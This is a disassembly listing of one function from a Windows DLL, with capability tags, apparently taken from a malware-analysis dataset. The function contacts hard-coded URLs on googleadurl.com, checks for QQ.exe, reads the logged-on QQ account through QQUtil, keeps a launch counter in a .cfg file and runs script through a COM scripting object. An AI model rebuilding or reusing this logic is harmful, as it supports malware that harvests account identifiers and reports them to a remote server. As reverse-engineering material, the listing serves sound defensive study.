Function at 0x10012700
Capabilities:
Check mutex on windows
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10031348
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x136c
call fcn.10023d10
mov eax, dword [0x1003f050]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
sub esp, 0x1c
mov dword [ebp - 0x1300], esp
mov edi, esp
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x1300], esp
call fcn.10005c20
mov esi, edi
call fcn.10005670
add esp, 0x1c
lea ecx, [ebp - 0x12f0]
call fcn.10005780
add esp, 0x1c
mov dword [ebp - 4], ebx
push 0x26
push str.http:__zz.googleadurl.com_y.jpg_verqq
lea ecx, [ebp - 0x1248]
mov dword [ebp - 0x1230], 0xf
mov dword [ebp - 0x1234], ebx
mov byte [ebp - 0x1244], bl
call fcn.10002a20
push 4
push str.id
lea eax, [ebp - 0x1248]
mov byte [ebp - 4], 1
call fcn.10002910
push ebx
lea eax, [ebp - 0x12f0]
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x1248]
call fcn.10002c90
xor ecx, ecx
cmp dword [ebp + 8], 1
sete cl
mov edi, ecx
mov dword [ebp - 0x1300], edi
cmp edi, ebx
je 0x1001280a
push 0x2d
push str.http:__zz.googleadurl.com_x.jpg_verqqinst1
mov ecx, esi
call fcn.10002a20
push 4
push str.id
mov eax, esi
call fcn.10002910
push ebx
lea edx, [ebp - 0x12f0]
push edx
or eax, 0xffffffff
call fcn.10002c90
cmp dword [section.seg_flag], ebx
je 0x10012824
push 0x2c
push str.http:__zz.googleadurl.com_cgi_bin_httpconn__
lea ecx, [ebp - 0x1248]
call fcn.10002a20
push 0x103
lea eax, [ebp - 0x22b]
push ebx
push eax
mov byte [ebp - 0x22c], bl
call fcn.1001eb30
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x22c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [ebp - 0x1230], 0x10
mov eax, dword [ebp - 0x1244]
jae 0x10012867
lea eax, [ebp - 0x1244]
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
push ebx
push ebx
call esi
mov dword [ebp - 0x1304], eax
cmp edi, ebx
jne 0x100129b8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0xb7
jne 0x100128f3
push str.DllRequest:__Cant_Run_Multiple_Instance__n
call fcn.10005ce0
mov edx, dword [ebp - 0x1304]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.QQ.exe
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10012928
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1230], 0x10
mov eax, dword [ebp - 0x1244]
jae 0x100128df
lea eax, [ebp - 0x1244]
push eax
push ebx
push ebx
call esi
mov dword [ebp - 0x1304], eax
call edi
cmp eax, 0xb7
je 0x1001288f
push 0xffe
lea ecx, [ebp - 0x122a]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x122c], ax
call fcn.1001eb30
add esp, 0xc
push 0x800
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
cmp esi, ebx
jne 0x10012972
xor esi, esi
jmp 0x100129a3
mov esi, 0x10
cmp dword [ebp - 0x1230], esi
jb 0x10012944
mov ecx, dword [ebp - 0x1244]
push ecx
call fcn.1001c891
add esp, 4
mov dword [ebp - 0x1230], 0xf
mov dword [ebp - 0x1234], ebx
mov byte [ebp - 0x1244], bl
cmp dword [ebp - 0x12d8], esi
jb 0x10013111
mov edx, dword [ebp - 0x12ec]
push edx
jmp 0x10013109
push 0x800
push esi
call sym.QQUtil.dll_GetLogonQQ
push esi
push 0x100374a8
lea edx, [ebp - 0x122c]
push 0x800
push edx
mov edi, eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esi, edi
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, ebx
je 0x10012911
jmp 0x100129c3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x103
lea eax, [ebp - 0x123]
push ebx
push eax
mov byte [ebp - 0x124], bl
call fcn.1001eb30
add esp, 0xc
push 0x1c
push 0x10042164
push 0x10042164
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [0x10042168]
push 0x104
lea ecx, [ebp - 0x124]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str..cfg
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRenameExtensionA]
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x1248]
mov byte [ebp - 4], 2
push ecx
mov edi, 0xf
lea ecx, [ebp - 0x1280]
mov dword [ebp - 0x1268], edi
mov dword [ebp - 0x126c], ebx
mov byte [ebp - 0x127c], bl
call fcn.10002750
mov byte [ebp - 4], 4
push 0x12
push str.zz.googleadurl.com
lea ecx, [ebp - 0x12d4]
mov dword [ebp - 0x12bc], edi
mov dword [ebp - 0x12c0], ebx
mov byte [ebp - 0x12d0], bl
call fcn.10002a20
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 5
mov dword [ebp - 0x130c], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x12d4]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.10002750
lea esi, [ebp - 0x12b8]
call fcn.10005ac0
add esp, 0x1c
mov byte [ebp - 4], 6
mov esi, dword [ebp - 0x12a0]
mov edx, dword [ebp - 0x12b4]
cmp esi, 0x10
jae 0x10012ac3
lea edx, [ebp - 0x12b4]
xor eax, eax
mov ecx, 0x10035375
call fcn.10012510
cmp eax, ebx
jne 0x10012b57
xor eax, eax
cmp dword [ebp - 0x12a4], ebx
setne al
cmp eax, ebx
jne 0x10012b57
cmp esi, 0x10
jb 0x10012afa
mov eax, dword [ebp - 0x12b4]
push eax
call fcn.1001c891
add esp, 4
cmp dword [ebp - 0x12bc], 0x10
mov dword [ebp - 0x12a0], edi
mov dword [ebp - 0x12a4], ebx
mov byte [ebp - 0x12b4], bl
jb 0x10012b24
mov ecx, dword [ebp - 0x12d0]
push ecx
call fcn.1001c891
add esp, 4
cmp dword [ebp - 0x1268], 0x10
mov dword [ebp - 0x12bc], edi
mov dword [ebp - 0x12c0], ebx
mov byte [ebp - 0x12d0], bl
jb 0x10012b4e
mov edx, dword [ebp - 0x127c]
push edx
call fcn.1001c891
add esp, 4
mov byte [ebp - 4], 1
jmp 0x100130a9
lea eax, [ebp - 0x12d4]
push eax
lea ecx, [ebp - 0x1280]
push ecx
lea ecx, [ebp - 0x12b8]
lea edx, [ebp - 0x1330]
call fcn.100143d0
add esp, 8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x1280]
mov byte [ebp - 4], 7
call fcn.10002750
mov esi, 0x10
cmp dword [ebp - 0x1318], esi
jb 0x10012ba8
mov edx, dword [ebp - 0x132c]
push edx
call fcn.1001c891
add esp, 4
cmp dword [ebp - 0x12a0], esi
jb 0x10012bbf
mov eax, dword [ebp - 0x12b4]
push eax
call fcn.1001c891
add esp, 4
mov dword [ebp - 0x12a0], edi
mov dword [ebp - 0x12a4], ebx
mov byte [ebp - 0x12b4], bl
cmp dword [ebp - 0x12bc], esi
jb 0x10012be8
mov ecx, dword [ebp - 0x12d0]
push ecx
call fcn.1001c891
add esp, 4
mov dword [ebp - 4], 3
jmp 0x10012c00
cmp dword [section.seg_flag], ebx
je 0x10012d31
push 0x7ff
lea edx, [ebp - 0xa2b]
push ebx
push edx
mov byte [ebp - 0xa2c], bl
call fcn.1001eb30
add esp, 0xc
push 0x800
lea eax, [ebp - 0xa2c]
push eax
call sym.QQUtil.dll_GetLogonQQ
cmp eax, ebx
jne 0x10012c75
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.getuins:_no_uins___d_
call fcn.10005ce0
add esp, 8
cmp dword [ebp - 0x1268], 0x10
jb 0x10012b4e
mov ecx, dword [ebp - 0x127c]
push ecx
call fcn.1001c891
add esp, 4
mov byte [ebp - 4], 1
jmp 0x100130a9
lea edx, [ebp - 0x124]
push edx
push ebx
push str.count
push str.config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edi, eax
push 2
push 0x1003770c
lea eax, [ebp - 0x1280]
inc edi
call fcn.10002910
push edi
lea esi, [ebp - 0x1330]
call fcn.10005a30
add esp, 4
push ebx
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x1280]
mov byte [ebp - 4], 9
call fcn.10002c90
mov byte [ebp - 4], 3
cmp dword [ebp - 0x1318], 0x10
jb 0x10012ce1
mov eax, dword [ebp - 0x132c]
push eax
call fcn.1001c891
add esp, 4
push edi
lea esi, [ebp - 0x1330]
call fcn.10005a30
mov esi, 0x10
add esp, 4
cmp dword [eax + 0x18], esi
jb 0x10012cff
mov eax, dword [eax + 4]
jmp 0x10012d02
add eax, 4
lea ecx, [ebp - 0x124]
push ecx
push eax
push str.count
push str.config
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [ebp - 0x1318], esi
jb 0x10012d31
mov edx, dword [ebp - 0x132c]
push edx
call fcn.1001c891
add esp, 4
lea eax, [ebp - 0x1314]
push eax
call fcn.1000fa90
mov dword [ebp - 0x12f8], ebx
mov byte [ebp - 4], 0xa
push ebx
push 0x10035375
lea ecx, [ebp - 0x1264]
mov dword [ebp - 0x124c], 0xf
mov dword [ebp - 0x1250], ebx
mov byte [ebp - 0x1260], bl
call fcn.10002a20
lea ecx, [ebp - 0x12f8]
push ecx
call fcn.10002590
mov dword [ebp - 0x130c], ebx
mov edx, 8
mov word [ebp - 0x136c], dx
mov dword [ebp - 0x1364], ebx
lea esi, [ebp - 0x136c]
mov dword [ebp - 0x1374], ebx
mov eax, edx
mov word [ebp - 0x1354], ax
mov dword [ebp - 0x134c], ebx
mov ecx, 0xb
xor edx, edx
lea edi, [ebp - 0x1354]
mov word [ebp - 0x1344], cx
mov word [ebp - 0x133c], dx
lea eax, [ebp - 0x1344]
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x1268], 0x10
push eax
mov eax, dword [ebp - 0x127c]
jae 0x10012de8
lea eax, [ebp - 0x127c]
push ecx
mov ebx, esp
mov dword [ebp - 0x1370], esp
push eax
call fcn.100011c0
push ecx
mov byte [ebp - 4], 0x11
mov ebx, esp
mov dword [ebp - 0x12fc], esp
push 0x10037710
call fcn.100011c0
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x12f8]
xor ebx, ebx
cmp eax, ebx
jne 0x10012e28
push 0x80004003
call fcn.1001c390
push eax
mov ecx, esi
mov edx, edi
mov byte [ebp - 4], 0x10
call fcn.100015e0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea ecx, [ebp - 0x1344]
push ecx
call esi
lea edx, [ebp - 0x1354]
push edx
call esi
lea eax, [ebp - 0x136c]
push eax
call esi
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x12f8]
cmp ecx, ebx
jne 0x10012e6f
push 0x80004003
call fcn.1001c390
mov edi, dword [section..data]
mov edx, dword [ecx]
sub esp, 0x10
mov eax, esp
mov dword [eax], edi
mov edi, dword [0x1003f004]
mov dword [eax + 4], edi
mov edi, dword [0x1003f008]
mov dword [eax + 8], edi
mov edi, dword [0x1003f00c]
mov dword [eax + 0xc], edi
mov eax, dword [edx + 0x2c]
push ecx
mov esi, ecx
call eax
cmp eax, ebx
jge 0x10012eb1
push 0x100353bc
push esi
push eax
call fcn.1001c3b0
mov edi, dword [ebp - 0x12f8]
cmp edi, ebx
jne 0x10012ec5
push 0x80004003
call fcn.1001c390
lea eax, [ebp - 0x1308]
call fcn.10001750
mov byte [ebp - 4], 0x13
mov esi, dword [eax]
cmp esi, ebx
je 0x10012eef
cmp dword [esi + 4], ebx
jne 0x10012eea
mov ecx, dword [esi]
push ecx
call fcn.1001c270
mov dword [esi + 4], eax
mov esi, dword [esi + 4]
jmp 0x10012ef1
xor esi, esi
mov edi, 0xf
mov eax, esi
mov dword [ebp - 0x1284], edi
mov dword [ebp - 0x1288], ebx
mov byte [ebp - 0x1298], bl
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10012f10
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x129c]
call fcn.10002a20
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x1308]
cmp eax, ebx
je 0x10012f74
mov esi, eax
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
cmp eax, ebx
jne 0x10012f6e
cmp esi, ebx
je 0x10012f6e
mov eax, dword [esi]
cmp eax, ebx
je 0x10012f55
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x10012f65
push eax
call fcn.1001c891
add esp, 4
push esi
call fcn.1001c891
add esp, 4
mov dword [ebp - 0x1308], ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x12fc], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x129c]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.10002750
lea ecx, [ebp - 0x1330]
call fcn.100056f0
add esp, 0x1c
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x1264]
mov byte [ebp - 4], 0x16
call fcn.10002750
mov esi, 0x10
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x1318], esi
jb 0x10012fd8
mov eax, dword [ebp - 0x132c]
push eax
call fcn.1001c891
add esp, 4
mov eax, dword [ebp - 0x12f8]
cmp eax, ebx
je 0x10012ff0
mov dword [ebp - 0x12f8], ebx
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov dword [ebp - 0x12f4], ebx
lea eax, [ebp - 0x12f4]
push eax
mov byte [ebp - 4], 0x17
call fcn.10005d80
cmp eax, ebx
jge 0x10013131
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x12f4]
cmp eax, ebx
je 0x10013024
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
cmp dword [ebp - 0x1284], esi
jb 0x1001303b
mov eax, dword [ebp - 0x1298]
push eax
call fcn.1001c891
add esp, 4
mov dword [ebp - 0x1284], edi
mov dword [ebp - 0x1288], ebx
mov byte [ebp - 0x1298], bl
cmp dword [ebp - 0x124c], esi
jb 0x10013064
mov ecx, dword [ebp - 0x1260]
push ecx
call fcn.1001c891
add esp, 4
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x12f8]
mov dword [ebp - 0x124c], edi
mov dword [ebp - 0x1250], ebx
mov byte [ebp - 0x1260], bl
cmp eax, ebx
je 0x1001308c
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
cmp dword [ebp - 0x1268], esi
jb 0x100130a3
mov ecx, dword [ebp - 0x127c]
push ecx
call fcn.1001c891
add esp, 4
mov byte [ebp - 4], 1
xor ebx, ebx
cmp dword [ebp - 0x1300], ebx
je 0x100133d0
mov edx, dword [ebp - 0x1304]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.ole32.dll_OleUninitialize]
mov esi, 0x10
cmp dword [ebp - 0x1230], esi
jb 0x100130e4
mov eax, dword [ebp - 0x1244]
push eax
call fcn.1001c891
add esp, 4
mov dword [ebp - 0x1230], 0xf
mov dword [ebp - 0x1234], ebx
mov byte [ebp - 0x1244], bl
cmp dword [ebp - 0x12d8], esi
jb 0x10013111
mov ecx, dword [ebp - 0x12ec]
push ecx
call fcn.1001c891
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.1001c89c
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x12f4]
cmp eax, ebx
sete cl
cmp cl, bl
je 0x100131d4
mov byte [ebp - 4], 0x15
cmp eax, ebx
je 0x10013154
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
cmp dword [ebp - 0x1284], esi
jb 0x1001316b
mov ecx, dword [ebp - 0x1298]
push ecx
call fcn.1001c891
add esp, 4
mov dword [ebp - 0x1284], edi
mov dword [ebp - 0x1288], ebx
mov byte [ebp - 0x1298], bl
cmp dword [ebp - 0x124c], esi
jb 0x10013194
mov edx, dword [ebp - 0x1260]
push edx
call fcn.1001c891
add esp, 4
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x12f8]
mov dword [ebp - 0x124c], edi
mov dword [ebp - 0x1250], ebx
mov byte [ebp - 0x1260], bl
cmp eax, ebx
je 0x100131bc
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
cmp dword [ebp - 0x1268], esi
jb 0x100130a3
mov eax, dword [ebp - 0x127c]
push eax
jmp 0x1001309b
push ecx
mov ebx, esp
mov dword [ebp - 0x12fc], esp
push str.javascript
call fcn.100011c0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x12f4]
test ecx, ecx
jne 0x100131ff
push 0x80004003
call fcn.1001c390
mov byte [ebp - 4], 0x17
call fcn.10005210
mov eax, dword [ebp - 0x12f4]
test eax, eax
jne 0x1001321c
push 0x80004003
call fcn.1001c390
mov ecx, dword [eax]
mov edx, dword [ecx + 0x38]
push 0xffffffffffffffff
push eax
mov esi, eax
call edx
test eax, eax
jge 0x10013238
push 0x1003669c
push esi
push eax
call fcn.1001c3b0
mov eax, dword [ebp - 0x1314]
push eax
push ecx
mov ebx, esp
mov dword [ebp - 0x12fc], esp
push str.external
xor esi, esi
call fcn.100011c0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x12f4]
test ecx, ecx
jne 0x1001326c
push 0x80004003
call fcn.1001c390
mov edx, esi
mov byte [ebp - 4], 0x17
call fcn.10012590
cmp dword [ebp - 0x124c], 0x10
mov eax, dword [ebp - 0x1260]
jae 0x1001328c
lea eax, [ebp - 0x1260]
push ecx
mov ebx, esp
mov dword [ebp - 0x12fc], esp
push eax
call fcn.100011c0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x12f4]
xor ebx, ebx
cmp ecx, ebx
jne 0x100132b5
push 0x80004003
call fcn.1001c390
mov byte [ebp - 4], 0x17
call fcn.10012650
mov eax, dword [ebp - 0x12f4]
cmp eax, ebx
je 0x100132d6
mov dword [ebp - 0x12f4], ebx
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DllRequest:__err_d
call fcn.10005ce0
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x12f4]
add esp, 8
cmp eax, ebx
je 0x10013300
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov esi, 0x10
cmp dword [ebp - 0x1284], esi
jb 0x1001331c
mov eax, dword [ebp - 0x1298]
push eax
call fcn.1001c891
add esp, 4
mov dword [ebp - 0x1284], edi
mov dword [ebp - 0x1288], ebx
mov byte [ebp - 0x1298], bl
cmp dword [ebp - 0x124c], esi
jb 0x10013345
mov ecx, dword [ebp - 0x1260]
push ecx
call fcn.1001c891
add esp, 4
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x12f8]
mov dword [ebp - 0x124c], edi
mov dword [ebp - 0x1250], ebx
mov byte [ebp - 0x1260], bl
cmp eax, ebx
je 0x1001336d
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
cmp dword [ebp - 0x1268], esi
jb 0x10013384
mov ecx, dword [ebp - 0x127c]
push ecx
call fcn.1001c891
add esp, 4
mov dword [ebp - 4], 1
jmp 0x100130a7
mov esi, 0x384
push esi
push str.DllRequest:_running__d___n
call fcn.10005ce0
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esi, 5
cmp esi, ebx
jg 0x100133d5
jmp 0x10012a1b